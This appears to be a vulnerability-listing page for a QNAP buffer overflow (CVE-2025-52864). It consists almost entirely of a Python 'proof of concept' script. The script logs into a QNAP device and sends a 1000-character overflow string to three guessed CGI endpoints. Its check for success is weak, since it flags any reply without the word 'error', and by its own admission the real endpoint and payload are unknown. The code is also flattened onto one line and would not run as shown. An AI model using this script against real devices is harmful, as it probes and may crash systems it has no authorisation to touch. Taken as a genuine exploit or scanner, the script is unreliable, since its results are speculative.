CVE-2025-52864 QNAP操作系统缓冲区溢出漏洞

# CVE-2025-52864 PoC - QNAP Buffer Overflow # Note: This is a conceptual proof of concept for demonstration purposes import requests import sys def check_cve_2025_52864(target_url, username, password): """ CVE-2025-52864 PoC - Check for QNAP buffer overflow vulnerability This PoC demonstrates the general approach for testing the vulnerability. The actual exploit requires specific knowledge of the vulnerable endpoint and proper payload construction. """ print(f"[*] Testing CVE-2025-52864 on {target_url}") # Step 1: Authenticate with valid user credentials session = requests.Session() auth_data = { 'username': username, 'password': password } try: # Attempt authentication login_url = f"{target_url}/cgi-bin/authLogin.cgi" response = session.post(login_url, data=auth_data, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Identify vulnerable endpoint # The specific vulnerable endpoint would be discovered through enumeration vulnerable_endpoints = [ '/cgi-bin/file_transfer.cgi', '/cgi-bin/upload.cgi', '/cgi-bin/qfarm.cgi' ] # Step 3: Construct buffer overflow payload # This is a template - actual payload requires specific conditions overflow_payload = 'A' * 1000 # Overflow pattern for endpoint in vulnerable_endpoints: try: exploit_data = { 'filename': overflow_payload, 'path': '/share' } exploit_url = f"{target_url}{endpoint}" response = session.post(exploit_url, data=exploit_data, timeout=10) # Check for signs of successful exploitation if 'error' not in response.text.lower() or response.status_code == 500: print(f"[!] Potential vulnerability at {endpoint}") print(f"[!] Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {str(e)}") print("[*] Scan completed") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_52864_poc.py <target_url> <username> <password>") print("Example: python cve_2025_52864_poc.py https://qnap.local admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_cve_2025_52864(target, user, pwd)